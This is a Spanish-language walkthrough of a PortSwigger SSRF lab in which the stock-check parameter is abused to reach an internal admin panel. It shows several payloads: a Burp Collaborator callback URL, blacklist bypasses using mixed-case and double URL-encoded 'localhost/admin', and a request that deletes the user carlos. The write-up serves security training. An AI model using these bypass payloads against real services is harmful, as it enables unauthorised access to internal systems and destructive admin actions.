SSRF with blacklist-based input filter
Laboratorio de Portswigger sobre SSRF
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio tiene una función de verificación de inventario que obtiene datos de un sistema interno. Para resolver el laboratorio, debemos cambiar la URL de verificación de inventario para acceder a la interfaz de administración en http://localhost/admin y eliminar al usuario Carlos. El desarrollador ha implementado dos medidas defensivas débiles contra SSRF que necesitaremos eludir
Guía de SSRF
Antes de completar este laboratorio es recomendable leerse esta guía de SSRF https://justice-reaper.github.io/posts/SSRF-Guide/
Resolución
Al acceder a la web nos sale esto
Pulsamos en View details y vemos la descripción del producto
Hacemos click sobre la función Check stock y capturamos la petición con Burpsuite
Esta función está enviando estos datos por POST
1
stockApi=http://stock.weliketoshop.net:8080/product/stock/check?productId=1&storeId=1
Nos dirigimos a Burpsuite Collaborator hacemos click en Copy to clipboard y vemos que se está haciendo una petición a una url vamos a ver si nos llega a nosotros esa petición
1
stockApi=http://l1nvttjpdegib5zaazzc93buslycm3as.oastify.com
Efectivamente nos llega una petición en Burpsuite Collaborator
Si mandamos un petición con este payload nos lo bloquea y nos muestra el mensaje de External stock check blocked for security reasons
1
stockApi=http://localhost/admin
De esta forma evitamos las medidas defensivas contra SSRF
1
stockApi=http://LoCaLHost/AdMIn
También podemos ofuscar el payload urlencodeandolo dos veces
1
stockApi=http://%25%36%63%25%36%66%25%36%33%25%36%31%25%36%63%25%36%38%25%36%66%25%37%33%25%37%34/%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65
Hacemos click derecho y seleccionamos una de las dos opciones
Vemos que estamos ante un panel administrativo
Si pulsamos Delete para borrar al usuario carlos no nos dejará, debido a que no estamos logueados como usuario administrador
Para poder eliminarlo debemos usar el SSRF
1
stockApi=http://LOCaLhOsT/AdMIN/dELeTe?username=carlos







